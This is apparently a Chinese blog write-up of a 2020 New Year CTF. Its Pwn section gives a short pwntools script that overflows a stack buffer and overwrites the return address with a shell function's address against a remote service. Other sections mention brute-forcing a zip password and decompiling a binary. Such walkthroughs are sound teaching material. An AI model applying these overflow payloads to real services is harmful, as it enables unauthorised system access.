2020 CTF 新年红包解析

1、Pwn
上来是Pwn,拖进IDA里看,发现是最简单的Pwn:
Main函数

Vuln函数

Shell函数

缓冲区显然溢出,通过IDA看栈:

前0xA的buf需要填充垃圾字节,0x8的rbp需要填充垃圾字节,剩下0x8是返回地址:我们要去shell函数,就要填充成小端法的int64 0x4005D6。

故编写py pwn脚本

1
2
3
4
5
from pwn import *
z = remote('addr',port)
payload = b'a'*18 + p64(0x4005d6)
z.send(payload)
z.interactive()

得flag和下一步跳转地址。
2、Web
打开“太懒了”页面,有一个文本框,把flag填进去,enter之后注意观察页面源代码获得下一步地址。
打开下一步地址后自动转回原页面,注意观察Header得下一步地址。
3、Misc
下载到一张图片啥都没发现,遂binwalk/foremost分离出压缩包zip一个,爆破可得密码。

4、Reverse
IDA打开解压压缩包的1.exe,观察,看到了一个printRedBagCode函数,遂F5,直接看C语言程序即可知道红包,输入8位数字到支付宝中即可领到红包。
所有源代码、程序下载地址:(可于红包结束后留言我获取密码

发表评论

电子邮件地址不会被公开。 必填项已用*标注